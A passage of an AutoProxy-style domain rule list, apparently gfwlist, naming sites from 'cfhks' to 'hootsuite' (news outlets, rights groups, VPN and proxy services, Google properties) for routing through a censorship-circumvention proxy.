.cfhks.org.hk\\n.cftfc.com\\n.cgst.edu\\n||chandoo.org\\n.change.org\\n|http://change.org\\n.changp.com\\n||changp.com\\n.chapm25.com\\n.chaturbate.com\\nchengmingmag.com\\n.chenguangcheng.com\\n||chenguangcheng.com\\nchenpokong.com\\n||cherrysave.com\\n.chhongbi.org\\n|http://chicagoncmtv.com\\n.china-week.com\\nchina101.com\\n||china101.com\\n||china18.org\\n||china21.com\\nchina21.org\\n||china21.org\\n.china5000.us\\nchinaaffairs.org\\n||chinaaffairs.org\\n||chinaaid.me\\nchinaaid.us\\nchinaaid.org\\nchinaaid.net\\nchinacomments.org\\n||chinacomments.org\\nchinachange.org\\nchinachannel.hk\\n||chinachannel.hk\\n.chinadigitaltimes.net\\n||chinadigitaltimes.net\\n.chinaelections.org\\n||chinaelections.org\\n.chinaeweekly.com\\n||chinaeweekly.com\\n||chinafreepress.org\\n.chinagate.com\\nchinageeks.org\\nchinagfw.org\\n||chinagfw.org\\n.chinagreenparty.org\\n||chinagreenparty.org\\n.chinahorizon.org\\n||chinahorizon.org\\n.chinahush.com\\nchinalaborwatch.org\\nchinalawtranslate.com\\nchinaxchina.com/howto\\n.chinainperspective.com\\nchinainperspective.net/ArtShow.aspx?\\n||chinainperspective.net\\n.chinainperspective.org\\n||chinainperspective.org\\n||chinainterimgov.org\\nchinalawandpolicy.com\\n.chinamule.com\\n||chinamule.com\\nchinamz.org\\n.chinarightsia.org\\nchinasocialdemocraticparty.com\\n||chinasocialdemocraticparty.com\\nchinasoul.org\\n||chinasoul.org\\n.chinasucks.net\\nchinatimes.com\\n||chinatopsex.com\\nchinatweeps.com\\nchinaway.org\\n.chinaworker.info\\n||chinaworker.info\\nchinayouth.org.hk\\nchinayuanmin.org\\n||chinayuanmin.org\\n.chinese-hermit.net\\nchinese-memorial.org\\n||chinesedailynews.com\\n.chinesen.de\\n||chinesen.de\\n.chinesepen.org\\n.chinesetalks.net/ch\\n.chingcheong.com\\n||chingcheong.com\\nchithu.org\\nchn.chosun.com\\n.chrdnet.com\\n|http://chrdnet.com\\nchristianstudy.com\\n||christianstudy.com\\nchristusrex.org/www1/sdc\\n||chrlcg-hk.org\\n||chrome.com\\n||chromeadblock.com\\n||chromium.org\\nchubun.com\\nchuizi.net\\n||christiantimes.org.hk\\n.chrlawyers.hk\\n!--||allaboutalpha.com\\n||circlethebayfortibet.org\\n||citizenscommission.hk\\n.citizenlab.org\\ncitizensradio.org\\n.city365.ca\\n|http://city365.ca\\ncity9x.com\\n.civicparty.hk\\n||civicparty.hk\\ncivilhrfront.org\\n||civilhrfront.org\\n.civilmedia.tw\\npsiphon.civisec.org\\n!--||cjb.net\\n.ck101.com\\n||ck101.com\\n.clarionproject.org/news/islamic-state-isis-isil-propaganda\\n||classicalguitarblog.net\\n.clb.org.hk\\nclearharmony.net\\nclearwisdom.net\\n.clipfish.de\\n||club1069.com\\ncmi.org.tw\\n|http://www.cmoinc.org\\n||cmule.com\\n||cmule.org\\n||cms.gov\\n||cna.com.tw\\n.cnavista.com.tw/shop/stores_app\\n.cnd.org\\n||cnd.org/\\nwiki.cnitter.com\\n.cnn.com/video\\nnews.cnyes.com\\n||cochina.co\\n||cochina.org\\n.code1984.com/64\\n|http://goagent.codeplex.com\\n||codeshare.io\\n||codeskulptor.org\\n|http://tosh.comedycentral.com\\ncomefromchina.com\\n||comefromchina.com\\n||commentshk.com\\n||compileheart.com\\n||conoyo.com\\n.contactmagazine.net\\n.convio.net\\n.coobay.com\\n|http://www.cool18.com/bbs*/\\n.coolaler.com\\n||coolaler.com\\ncoolder.com\\n||coolder.com\\n||coolloud.org.tw\\ncorumcollege.com\\n||couchdbwiki.com\\n||cotweet.com\\ncpj.org\\n||cpj.org/\\ncrackle.com\\n||crackle.com\\n||crchina.org\\ncrd-net.org\\ncreaders.net\\n||creaders.net\\n.crossthewall.net\\n||crossthewall.net\\ncsdparty.com\\n||csdparty.com\\n||csuchen.de\\n.ctfriend.net\\n.ctitv.com.tw\\ncts.com.tw\\n|http://library.usc.cuhk.edu.hk/\\n|http://mjlsh.usc.cuhk.edu.hk/\\n.cuhkacs.org/~benng\\n.cuihua.org\\n||cuihua.org\\n.cuiweiping.net\\n||cuiweiping.net\\n||curvefish.com\\n.culture.tw\\n||culture.tw\\n.cw.com.tw\\n|http://forum.cyberctm.com\\n||cyberghostvpn.com\\n||cynscribe.com\\ncytode.us\\n||ifan.cz.cc\\n||mike.cz.cc\\n||nic.cz.cc\\n\\n!--------------------DD--------------------\\ncl.d0z.net\\n.dabr.co.uk\\n||dabr.co.uk\\ndabr.mobi\\n||dabr.mobi\\n||dabr.me\\ndadazim.com\\n||dadazim.com\\n.dadi360.com\\ndafagood.com\\ndafahao.com\\n||dalailama.ru\\n.dalailamavisit.org.nz\\n.dailidaili.com\\n||dailidaili.com\\n.dailymotion.com\\n.dajiyuan.com\\n.dajiyuan.eu\\ndalailama.com\\n.dalailamaprotesters.info\\n.dalailamaworld.com\\n||dalailamaworld.com\\ndalianmeng.org\\n||dalianmeng.org\\n.daliulian.org\\n||daliulian.org\\n.danke4china.net\\n||danke4china.net\\n.danwei.org\\ndaolan.net\\n.david-kilgour.com\\n|http://david-kilgour.com\\ndaxa.cn\\n||daxa.cn/\\ncn.dayabook.com\\n.daylife.com/topic/dalai_lama\\n||dcard.tw\\n.ddc.com.tw\\n||de-sci.org\\n.de-sci.org\\nlists.debian.org\\npackages.debian.org/zh-cn/lenny/gpass\\n||delcamp.net\\ndelicious.com/GFWbookmark\\n.democrats.org\\n||democrats.org\\n||desc.se/\\n.destroy-china.jp\\n||deutsche-welle.de\\n!--||deviantart.com\\n!--||deviantart.net\\n||devio.us\\n||devpn.com\\n|http://www.dfanning.com\\n||dfas.mil\\n.dharamsalanet.com\\n.diaoyuislands.org\\n||diaoyuislands.org\\nstatic.digg.com\\n|http://digiland.tw/\\n||digitalnomadsproject.org\\n.diigo.com\\n||diigo.com\\n||furl.net\\n.dipity.com\\n||directcreative.com\\n||discogs.com\\n@@||cdn.discogs.com\\n\\n.discuss.com.hk\\n||discuss.com.hk\\ndisp.cc\\n.dit-inc.us\\n||dit-inc.us\\n.dizhidizhi.com\\n||dizhuzhishang.com\\ndjangosnippets.org\\n||dl-laby.jp\\n||dlsite.com\\n||dmcdn.net\\n||dnscrypt.org\\n||dns2go.com\\n||dnssec.net\\n.dogfartnetwork.com/tour\\n.dojin.com\\n.dok-forum.net\\n||dolc.de\\n||dolf.org.hk\\n||dollf.com\\n.domain.club.tw\\ndongtaiwang.com\\n||dongtaiwang.com\\n.dongtaiwang.net\\n||dongtaiwang.net\\n.dongyangjing.com\\n.dontfilter.us\\n||dontmovetochina.com\\n.dotplane.com\\n||dotplane.com\\n||dotsub.com\\n||dougscripts.com\\ndowei.org\\n||doxygen.org\\ndphk.org\\ndpp.org.tw\\n||dpp.org.tw\\n||dreammask.org\\n.drepung.org\\n||drgan.net\\n||dropbox.com\\n||dropboxusercontent.com\\ndrsunacademy.com\\n.drtuber.com\\n.dscn.info\\n||dtiblog.com\\n||dtic.mil\\ndtiserv2.com\\n||duckduckgo.com\\n.duckload.com/download\\n||duckmylife.com\\n.duihua.org\\n||duihua.org\\n||duihuahrjournal.org\\n.duoweitimes.com\\n||duoweitimes.com\\nduping.net\\n||duplicati.com\\ndupola.com\\ndupola.net\\n||dvorak.org\\n.dw.com\\n|http://www.dw.com\\n||dw.de\\n.dw-world.com\\n||dw-world.com\\n.dw-world.de\\nhttp://dw-world.de\\nwww.dwheeler.com\\ndwnews.com\\n||dwnews.com\\ndwnews.net\\n||dwnews.net\\nxys.dxiong.com\\n||dynawebinc.com\\n.dyndns.org\\n.dzze.com\\n\\n!--------------------EE--------------------\\n||e-classical.com.tw\\n||e-gold.com\\n.e-gold.com\\n||g.e-hentai.org\\n||lofi.e-hentai.org\\ne-info.org.tw\\n.e-traderland.net/board\\n.e123.hk\\n||earthcam.com\\neastern-ark.com\\n.eastturkestan.com\\n|http://www.eastturkistan.net/\\n.eastturkistan-gov.org\\n.eastturkistangovernmentinexile.us\\n||eastturkistangovernmentinexile.us\\nebookbrowse.com\\nebookee.com\\necministry.net\\nbbs.ecstart.com\\n||edgecastcdn.net\\n/twimg\\\\.edgesuite\\\\.net\\\\/\\\\/?appledaily/\\nedicypages.com\\nedoors.com\\n.edubridge.com\\n||edubridge.com\\n||eevpn.com\\nefcc.org.hk\\n||efmoe.com\\n||eic-av.com\\nelectionsmeter.com\\n||elgoog.im\\n||elpais.com\\n.eltondisney.com\\n||emacsblog.org\\n.emory.edu\\n.emule-ed2k.com\\n|http://emule-ed2k.com\\n.emuparadise.me\\n||enewstree.com\\nchinese.engadget.com\\n||englishfromengland.co.uk\\n||entermap.com\\n.episcopalchurch.org\\nepochtimes-bg.com\\n||epochtimes-bg.com\\nepochtimes-romania.com\\n||epochtimes-romania.com\\nepochtimes.co.il\\n||epochtimes.co.il\\nepochtimes.co.kr\\n||epochtimes.co.kr\\nepochtimes.com\\n||epochtimes.com\\nepochtimes.de\\nepochtimes.fr\\n.epochtimes.ie\\nepochtimes.jp\\nepochtimes.ru\\nepochtimes.se\\nepochtimestr.com\\n||epochweekly.com\\nerabaru.net\\n.erepublik.com\\n|http://erktv.com/\\n||ernestmandel.org\\n||erights.net\\n.etaa.org.au\\netaiwannews.com\\n||etizer.org\\n.ettoday.net\\netvonline.hk\\n.eu.org\\n||eu.org\\n.eulam.com\\neventful.com\\n||exblog.jp\\n||blog.exblog.co.jp\\n@@||www.exblog.jp\\n.exchristian.hk\\n||exchristian.hk\\n|http://blog.excite.co.jp/\\n||expatshield.com\\n||exploader.net\\n.expressvpn.com\\n.extremetube.com\\neyevio.jp\\n||eyevio.jp\\n.eyny.com\\n.ezpc.tk/category/soft\\n.ezpeer.com\\n\\n!--------------------FF--------------------\\n.facebook.com\\n||facebook.com\\n/^https?:\\\\/\\\\/[^\\\\/]+facebook\\\\.com/\\n@@||*v6.facebook.com\\n||connect.facebook.net\\n||facebookquotes4u.com\\n|http://facesoftibetanselfimmolators.info\\n||facesofnyfw.com\\n\\n!--Enhancement:\\n!--http://faithfuleye.com.detail.website/\\n!--http://faithfuleye.com.ipaddress.com/\\n.faithfuleye.com\\n\\n||faiththedog.info\\n.fakku.net\\nfalun-co.org\\nfalunart.org\\n||falunasia.info\\nfalundafa.org\\nfalundafa-dc.org\\n||falundafa-florida.org\\n||falundafa-nc.org\\nfalun-ny.net\\nfalundafamuseum.org\\nfalungong.org.uk\\n||falunhr.org\\nfaluninfo.net\\n.falunpilipinas.net\\n||falunworld.net\\nfamilyfed.org\\n||fanglizhi.info\\n||fangong.org\\nfangongheike.com\\nfanqianghou.com\\nfapdu.com\\n!--.farxian.com\\n.fawanghuihui.org\\n||fbcdn.net\\nfanqiangyakexi.net\\nfail.hk\\n||famunion.com\\n.fan-qiang.com\\n.fangbinxing.com\\n||fangbinxing.com\\nfangeming.com\\n||fanswong.com\\n.fanyue.info\\n.farwestchina.com\\n!--||fastly.net\\nen.favotter.net\\n||faststone.org\\nfavstar.fm\\n||favstar.fm\\nfaydao.com/weblog\\n||fb.com\\nfb.me\\n||fb.me\\n||fbsbx.com\\nfc2.com\\n.fc2china.com\\nfc2blog.net\\n|http://uygur.fc2web.com/\\nvideo.fdbox.com\\n.fdc89.jp\\n||fourface.nodesnoop.com\\n!--feedbooks.mobi\\n||feedburner.com\\n||feedzshare.com\\n||feelssh.com\\nfeer.com\\n|http://feitianacademy.org\\n.feitian-california.org\\n||feministteacher.com\\n.fengzhenghu.com\\n||fengzhenghu.com\\n|http://ff.im\\nfflick.com\\nfgmtv.net\\n.fgmtv.org\\n|http://feeds.fileforum.com\\n.files2me.com\\n|http://files2me.com\\n.fileserve.com/file\\nfillthesquare.org\\n||finalion.jp\\nfindbook.tw\\n.fingerdaily.com\\nfinler.net\\n.fireofliberty.org\\n||fireofliberty.org\\n!--||flagfox.net\\n.falsefire.com\\n||falsefire.com\\nfleshbot.com\\n\\n!--||farm6.staticflickr.com\\n!--.flickr.com/photos/46231077@N06\\n!--.flickr.com/groups/aiweiwei\\n!--.flickr.com/photos/digitalboy100\\n!--.flickr.com/photos/fzhenghu\\n!--.flickr.com/photos/lonelyfox\\n!--flickr.com/photos/vanvan/529925157\\n!--.flickr.com/photos/winterkanal\\n!--.flickr.com/photos/zola\\n||flickr.com\\n||staticflickr.com\\n\\nflickrhivemind.net\\nyuming.flnet.org\\n|http://cn.fmnnow.com\\nfofldfradio.org\\nblog.foolsmountain.com\\nwww.forum4hk.com\\npioneer-worker.forums-free.com\\n!--foursquare.com\\n|http://4sq.com\\n||fotop.net\\nvideo.foxbusiness.com\\n|http://foxgay.com\\n||fringenetwork.com\\n||flecheinthepeche.fr\\n||focustaiwan.tw\\n.focusvpn.com\\n||fofg.org\\n.fooooo.com\\n||fooooo.com\\nfootwiball.com\\n||fourthinternational.org\\n||foxdie.us\\n||foxsub.com\\nfoxtang.com\\n.fpmt.org\\n|http://fpmt.org\\n.fpmt.tw\\n.fpmt-osel.org\\n||fpmtmexico.org\\nfqok.org\\n||fqrouter.com\\n||franklc.com\\n.freakshare.com\\n|http://freakshare.com\\n||free4u.com.ar\\nfree-gate.org\\n.free.fr/adsl\\n||allonlinux.free.fr\\n||dimitrik.free.fr\\nkineox.free.fr\\n||puttycm.free.fr\\n||freealim.com\\nwhitebear.freebearblog.org\\n.freechal.com\\n.freedomhouse.org\\n||freedomhouse.org\\n.freegao.com\\n||freegao.com\\n.free-hada-now.org\\n.freelotto.com\\n||freelotto.com\\nfreeman2.com\\n.freeopenvpn.com\\nfreemoren.com\\nfreemorenews.com\\nfreenet-china.org\\nfreenewscn.com\\n.freeoz.org/bbs\\n||freeoz.org\\n||www.bulbous.freeserve.co.uk\\n||freessh.us\\nfree4u.com.ar\\n.free-ssh.com\\n||free-ssh.com\\n.freedomcollection.org/interviews/rebiya_kadeer\\n.freeforums.org\\n||freenetproject.org\\n.freeoz.org\\n.freetibet.net\\n||freetibet.org\\n|http://freetibetanheroes.org\\n||freewallpaper4.me\\n.freewebs.com\\n||freeweibo.com\\n.freexinwen.com\\n.freeyoutubeproxy.net\\n||freeyoutubeproxy.net\\nfriendfeed.com\\nfriendfeed-media.com/e99a4ebe2fb4c1985c2a58775eb4422961aa5a2e\\nfriends-of-tibet.org\\n.friendsoftibet.org\\nfreechina.net\\n|http://www.zensur.freerk.com/\\nfreevpn.nl\\n|http://adult.friendfinder.com/\\n.fring.com\\n||fring.com\\n||frommel.net\\n.frontlinedefenders.org\\n||fscked.org\\n.fsurf.com\\n.ftchinese.com/story/001054103\\n.ftchinese.com/*video\\n.ftchinese.com/comments\\n.fuckcnnic.net\\n||fuckcnnic.net\\nfuckgfw.org\\nfulue.com\\n.funf.tw\\nfunp.com\\n.furhhdl.org\\n||furinkan.com\\n.futurechinaforum.org\\n||futuremessage.org\\n.fuyin.net\\n||fw.cm\\nfzh999.com\\nfzh999.net\\n\\n!--------------------GG--------------------\\n||gabocorp.com\\n.gaeproxy.com\\n.gaforum.org\\n||galenwu.com\\n||game735.com\\ngamebase.com.tw\\n|http://wiki.gamerp.jp\\n||gamer.com.tw\\n.gamer.com.tw\\n.gamez.com.tw\\n||gamez.com.tw\\n.gaoming.net\\n||gaoming.net\\nganges.com\\n.gaopi.net\\n|http://gaopi.net\\n.gaozhisheng.org\\n.gaozhisheng.net\\ngardennetworks.com\\n||gardennetworks.org\\n!--IP of Garden Network\\n72.52.81.22\\n||gartlive.com\\n||gather.com\\n||gaymap.cc\\n.gaytube.com\\n.gazotube.com\\n||gazotube.com\\n||gcc.org.hk\\n||gclooney.com\\n.gcpnews.com\\n.gdbt.net/forum\\ngdzf.org\\n||geek-art.net\\ngeekerhome.com/2010/03/xixiang-project-cross-gfw\\n||geekmanuals.com\\n!--||genuitec.com\\n.geocities.co.jp\\n.geocities.com/SiliconValley/Circuit/5683/download.html\\nhk.geocities.com\\ngeocities.jp\\n||geohot.com\\n||geometrictools.com\\n||get-digital-help.com\\n.getchu.com\\n||getfoxyproxy.org\\n.getfreedur.com\\n||getgom.com\\n.getlantern.org\\n||getlantern.org\\n.getjetso.com/forum\\ngetiton.com\\n.getsocialscope.com\\ngfw.org.ua\\n.ggssl.com\\n||ggssl.com\\n||ghost.org\\n||ghut.org\\n||giga-web.jp\\n|http://tw.gigacircle.com\\n|http://cn.giganews.com/\\ngigporno.ru\\n||gimpshop.com\\n||girlbanker.com\\n|http://softwaredownload.gitbooks.io/\\n|https://gist.github.com\\n|http://cthlo.github.io/hktv\\n|http://wsgzao.github.io/post/gfw-break\\n||glennhilton.com\\nglobaljihad.net\\nglobalmuseumoncommunism.org\\n||globalrescue.net\\n.globalvoicesonline.org\\n||globalvoicesonline.org\\ngmbd.cn\\n||gmhz.org\\n|http://www.gmiddle.com/\\n|http://www.gmiddle.net/\\n.gmll.org\\n||gnci.org.hk\\n||goagent.biz\\n||goagentplus.com\\ngodfootsteps.org\\n||godfootsteps.org\\ngodsdirectcontact.org.tw\\n.gokbayrak.com\\n||goldbetsports.com\\n|http://www.goldenmelody.com.tw\\n||goldwave.com\\ngongmeng.info\\ngongm.in\\ngongminliliang.com\\n.gongwt.com\\n|http://gongwt.com/\\n.goodreads.com\\n||goodreads.com\\n.goodreaders.com\\n||goodreaders.com\\n.goodtv.com.tw\\n.goodtv.tv\\n||goofind.com\\n.googlesile.com\\n.gopetition.com\\n||gopetition.com\\n||gotw.ca/\\ngrandtrial.org\\n||graphis.ne.jp\\n||s.gravatar.com\\ngreatfirewall.biz\\n||greatfirewallofchina.net\\n.greatfirewallofchina.org\\n||greatfirewallofchina.org\\n.greenparty.org.tw\\n||greenpeace.org\\ngreat-firewall.com\\ngreat-roc.org\\ngreatroc.org\\ngreatzhonghua.org\\n.greenpeace.com.tw\\n.greenvpn.net\\n||greenvpn.net\\ngs-discuss.com\\n||gtricks.com\\nguancha.org\\n.gun-world.net\\n||gutteruncensored.com\\n||gvm.com.tw\\n.gzm.tv\\n||gzone-anime.info\\n\\n!----------------Google----------------\\n||abc.xyz\\n||agoogleaday.com\\n||androidify.com\\n||chromeexperiments.com\\n||chromercise.com\\n||data-vocabulary.org\\n||g.co\\n||ggpht.com\\n||gmail.com\\n||gmodules.com\\n||goo.gl\\n/^https?:\\\\/\\\\/[^\\\\/]+google\\\\.(.*)/\\n!--||google-analytics.com\\n!--||googleadservices.com\\n||googleapis.com\\n||googleartproject.com\\n||googlecode.com\\n||googlecommerce.com\\n||googledomains.com\\n||googleearth.com\\n||googledrive.com\\n||googlegroups.com\\n||googlehosted.com\\n||googlelabs.com\\n||googlemail.com\\n||googleplus.com\\n||googlesource.com\\n!--||googlesyndication.com\\n!--||googletagmanager.com\\n!--||googletagservices.com\\n||googleusercontent.com\\n||googlevideo.com\\n||googlezip.net\\n||groups.google.cn\\n||gvt0.com\\n||gvt1.com\\n||html5rocks.com\\n||nic.google\\n||panoramio.com\\n||polymer-project.org\\n||recaptcha.net\\n||registry.google\\n|http://sipml5.org/\\n!--||www.google\\n!--Youtube CDN\\n||ytimg.com\\n\\n!------------Google App Engine/Appspot-------\\n.appspot.com\\n||appspot.com\\n/^https?:\\\\/\\\\/[^\\\\/]+appspot\\\\.com/\\n\\n!-------------Google ghs-----\\n!-||1024cores.net\\n!-||www.20thingsilearned.com\\n!-||www.3dtin.com\\n!-A\\n!-||abelhadigital.com\\n!-||blog.aegisub.org\\n!-||android-x86.org\\n!-||chrome.angrybirds.com\\n!-||appbrain.com\\n!-||my.architexa.com\\n!-||feeds.arstechnica.com\\n!-||blog.athico.com\\n!-||aurorasoftworks.com\\n!-B\\n!-||www.benjamingolub.com\\n!-||rss.berryreview.com\\n!-||docs.blacktree.com\\n!-||secrets.blacktree.com\\n!-||www.blacktree.com\\n!-||feeds.boingboing.net\\n!-||moblog.bradleyit.com\\n!-||www.buddyrunner.com\\n!-||buzzcantweet.com\\n!-C\\n!-||feeds.cbsnews.com\\nchinaaid.net\\n!-||www.chinesealbumart.com\\n!-||chromeexperiments.com\\n!-||www.clementine-player.org\\n!-||data.clementine-player.org\\n!-||clemesha.org\\n!-||www.cloudgirlfriend.com\\n!-||rss.cnn.com\\n!-||cocoawithlove.com\\n!-||blog.controlspace.org\\n!-D\\n!-||www.dailygyan.com\\n!-||dailytodo.org\\n!-||blog.danmarner.com\\n!-||github.danmarner.com\\n!-||design-seeds.com\\n!-||designers-artists.com\\n!-||feeds.digg.com\\n!-||app.diu.li\\n!-||mail.diyang.org\\n!-||blog.doughellmann.com\\n!-||downforeveryoneorjustme.com\\n!-||droidsecurity.com\\n!-||www.dropmocks.com\\n!-||dumblittleman.com\\n!-||feeds.dzone.com\\n!-E\\nechofon.com\\n!-||echofon.com\\n!-||epc-jav.com\\n!-||everdark.info\\n!-||s.evernote.com\\n!-||evhead.com\\n!-F\\n!-||facilelogin.com\\n!-||*.fatduck.org\\n!-||blog.fdcn.org\\n!-||fftogo.com\\n!-||flightsimtalk.com\\n!-||mclee.foolme.net\\n!-||www.frienddeck.com\\n!-||fringespoilers.com\\n!-||fringetelevision.com\\n!-||funpea.com\\n!-G\\n!-||blog.gatein.org\\n!-||feeds.gawker.com\\n!-||geektang.com\\n!-||geohot.us\\n!-||getaround.com\\n!-||gmer.net\\n!-||www.gmote.org\\n!-||blog.go2web20.net\\n!--||blog.google.org\\n!-||google-melange.com\\n||golang.org\\n!-||fame.gonzolabs.org\\n!-||govecn.org\\n!-||gqueues.com\\n!-||graphycalc.com\\n||greasespot.net\\n!-||blog.growlforwindows.com\\n!-H\\n!-||hcm.com.tw\\n!-||blog.headius.com\\n!-||hogbaysoftware.com\\n!-||blog.hotot.org\\n!-||feeds.howstuffworks.com\\n!-||huhaitai.com\\n!-||blog.humanrightsfirst.org\\n!-I\\n!-||site.icu-project.org\\n!-||igorware.com\\n!-||ihas1337code.com\\n!-||inknouveau.com\\n!-||inote.tw\\n!-||ironhelmet.com\\n!-||iwfwcf.com\\n!-J\\n!-||blog.jangmt.com\\n!-||blog.jayfields.com\\n!-||t.jiecii.com\\n!-||blog.joint.net\\n!-||blog.jsquaredjavascript.com\\n!-||blog.jtbworld.com\\n!-K\\n!-||kathyschwalbe.com\\n!-||tomatovpn.keithmoyer.com\\n!-||www.keithmoyer.com\\n!-||kendalvandyke.com\\n!-||blog.kengao.tw\\n!-||log.keso.cn\\n!-||www.khanacademy.org\\n||www.klip.me\\n!-||usbloadergx.koureio.net\\n!-||blog.kowalczyk.info\\n!-L\\n!-||labyrinth2.com\\n!-||larsgeorge.com\\n!-||blog.lastpass.com\\n!-||docs.latexlab.org\\n!-||leanessays.com\\n!-||blog.lidaobing.info\\n!-||log.lightory.net\\n!-||feeds.limi.net\\n!-||www.liteapplications.com\\n!-||blog.liukangxu.info\\n!-||twitter.liukangxu.info\\n!-||oasisnewsroom.live4ever.us\\n!-||www.lockergnome.com\\n!-||locql.com\\n@@||site.locql.com\\n!-||feeds.loiclemeur.com\\n!-||blog.louisgray.com\\n!-M\\n!-||madebysofa.com\\n!-||mademoisellerobot.com\\n!-||masamixes.com\\n!-||www.metamuse.net\\n!-||blog.metasploit.com\\n!-||milazi.com\\n!-||www.miniweather.com\\n!-||twitter.missiu.com\\n!-||plurktop-button.mmdays.com\\n!-||feeds.mobileread.com\\n!-||www.modernizr.com\\n!-||www.modk.it\\n!-||mytwishirt.com\\n!-N\\n!-||blog.netflix.com\\n!-||blog.nihilogic.dk\\n!-||ntlk.org\\n!-||nvquan.org\\n!-||nogoodatcoding.com\\n!-||blog.notdot.net\\n!-||www.notify.io\\n!-O\\n!-||blog.obvious.com\\n!-||onebigfluke.com\\n!-||overstimulate.com\\n!-P\\n!-||pcgeekblog.com\\n!-||feeds.pdfchm.net\\n!-||feeds.people.com\\n!-||blog.persistent.info\\n!-||chrome.plantsvszombies.com\\n!-||portablesoft.org.ru\\n!-||prasannatech.net\\n!-||talk.news.pts.org.tw\\n!-||python-excel.org\\n!-Q\\n!-R\\n!-||r-chart.com\\n!-||rameshsubramanian.org\\n!-||rapid.pk\\n!-||blog.reddit.com\\n!-||blog.renanse.com\\n!-||robertmao.com\\n!-||www.romeo-foxtrot.com\\n!-S\\n!-||salmiyuck.com\\n!-||samsal.com\\n!-||blog.seeminglee.com\\n!-||blog.sflow.com\\n!-||blog.sigfpe.com\\n!-||simpletext.ws\\n!-||www.skulpt.org\\n!-||rss.slashdot.org\\n!-||snippetsapp.com\\n!-||w.sns.ly\\n!-||www.socialnmobile.com\\n!-||www.socialwhois.com\\n!-||spiritjb.org\\n!-||ssbook.com\\n!-||sshforwarding.com\\n!-||stationeria.com\\n!-||sunjidong.net\\n!-||syniumsoftware.com\\n@@||download.syniumsoftware.com\\n!-T\\n!-||tagxedo.com\\n!-||blog.tatoeba.org\\n!-||www.techfob.com\\n!-||teachparentstech.org\\n!-||the8pen.com\\n!-||theiphonewiki.com\\n!-||blog.thesilentnumber.me\\n!-||thesponty.com\\n!-||theultralinx.com\\n!-||blog.think-async.com\\n!-||tornadoweb.org\\n!-||transparentuptime.com\\n!-||triangulationblog.com\\n!-||blog.tsunanet.net\\n!-||en.tuxero.com\\n!-||twazzup.com\\n!-||tweetswell.com\\n!-||twibes.com\\n!-||art.twgg.org\\n!-||twivert.com\\n!-U\\n|http://ub0.cc\\n!-||jonny.ubuntu-tw.net\\n!-||blog.umonkey.net\\n!-V\\n!-||tp.vbap.com.au\\n!-||www.virtuousrom.com\\n!-||blog.visibotech.com\\n!-W\\n!-||waveprotocol.org\\n!-||www.wavesandbox.com\\n!-||webfee.org.ru\\n!-||blog.webmproject.org\\n!-||webupd8.org\\n!-||www.whatbrowser.org\\n!-||www.wheredoyougo.net\\n!-||willhains.com\\n!-||feeds.wired.com\\n!-||wisemapping.org\\nwozy.in\\n!-||wozy.in/\\n!-||blog.wundercounter.com\\n!-X\\n!-||xdelta.org\\n!-||xiaogaozi.org\\n!-||xilou.us\\n!-||xzy.org.ru\\n!-Y\\n!-||yooper.be\\n!-||tsong.yunxi.net\\n!-Z\\n\\n!-------------Google Minganci-----\\n!--@@||ipv6.google.com\\n\\ngospelherald.com\\n||gospelherald.com\\n|http://hk.gradconnection.com/\\n||grangorz.org\\n||graylog2.org\\ngreatfire.org\\n||greatfire.org\\ngreatfirewallofchina.org\\n||greatroc.tw\\n||gstatic.com\\n.gu-chu-sum.org\\n|http://gu-chu-sum.org\\nguishan.org\\n||guishan.org\\n||gunsamerica.com\\n|http://gvlib.com\\n.gyalwarinpoche.com\\n.gyatsostudio.com\\n\\n!--------------------HH--------------------\\n||h-china.org\\nh1n1china.org\\n.hacken.cc/bbs\\n||hackthatphone.net\\nhahlo.com\\n||hakkatv.org.tw\\n|http://bbs.hanminzu.org/\\n.hanunyi.com\\n|http://ae.hao123.com\\n|http://ar.hao123.com\\n|http://br.hao123.com\\n|http://en.hao123.com\\n|http://id.hao123.com\\n|http://jp.hao123.com\\n|http://ma.hao123.com\\n|http://sa.hao123.com\\n|http://th.hao123.com\\n|http://tw.hao123.com\\n|http://vn.hao123.com\\n||hardsextube.com\\n.harunyahya.com\\n||hasaowall.com\\nhave8.com\\n@@||haygo.com\\n||hdtvb.net\\n||heartyit.com\\n.hecaitou.net\\n||hecaitou.net\\n.hechaji.com\\n||hechaji.com\\n||heeact.edu.tw\\n||helplinfen.com\\n||helloandroid.com\\n||helloqueer.com\\nhellotxt.com\\n||hellotxt.com\\n||htxt.it/\\n.hellouk.org/forum/lofiversion\\n.helpeachpeople.com\\n||helpeachpeople.com\\n.helpzhuling.org\\n\\n!###########--Heroku--##########\\n||date.fm\\n||flightcaster.com\\n||branch.com\\n||awardwinningfjords.com\\n||futureme.org\\n||getcloudapp.com\\n||cl.ly\\n@@||f.cl.ly\\n||getsmartlinks.com\\n||git-scm.com\\n||lesscss.org\\n||list.ly\\n||maxgif.com\\n||overlapr.com\\n||peerpong.com\\n||pose.com\\n!--||rubyinstaller.org\\n||samsoff.es\\n||sendoid.com\\n||speckleapp.com\\n||stuffimreading.net\\n||tomayko.com\\n||twt.fm\\n||views.fm\\n\\nheqinglian.net\\nhere4news.com\\n||heungkongdiscuss.com\\n!--Google employee within Google IP\\n||hexxeh.net\\napp.heywire.com\\n.hgseav.com\\nhidden-advent.org\\n||hidden-advent.org\\nhidecloud.com/blog/2008/07/29/fuck-beijing-olympics.html\\n||hide.me\\n.hidemyass.com\\n||hidemyass.com\\n||hideipvpn.com\\n.hihiforum.com\\n|http://hihiforum.com\\n||hihistory.net\\n.higfw.com\\n||highrockmedia.com\\n||hiitch.com\\n||hikinggfw.org\\n.himalayan-foundation.org\\n.himemix.com\\n||himemix.com\\n.himemix.net\\ntimes.hinet.net\\n.hjclub.info\\n.hk-pub.com/forum\\n|http://hk-pub.com\\n.hk32168.com\\n||hk32168.com\\napp.hkatvnews.com/v3\\nhkbc.net\\n.hkbf.org\\n.hkchurch.org\\nhkday.net\\n.hkdailynews.com.hk/china.php\\n.hkej.com\\n.hkepc.com/forum/viewthread.php?tid=1153322\\nglobal.hkepc.com*forum\\nhkfront.org\\nhkgolden.com\\n.hkgreenradio.org/home\\n.hkheadline.com*blog\\n.hkheadline.com/instantnews\\nhkhkhk.com\\nhkjc.com\\n.hkjp.org\\nhkptu.org\\n.hkreporter.com\\n||hkreporter.com\\n|http://hkupop.hku.hk/\\n.hkwcc.org.hk\\n||hkzone.org\\nhnjhj.com\\n||hnjhj.com\\n||hola.com\\n||hola.org\\nholyspiritspeaks.org\\n||holyspiritspeaks.org\\n||derekhsu.homeip.net\\n|http://homeservershow.com\\n|http://old.honeynet.org/scans/scan31/sub/doug_eric/spam_translation.html\\nhongmeimei.com\\n||hongzhi.li\\nhootsuite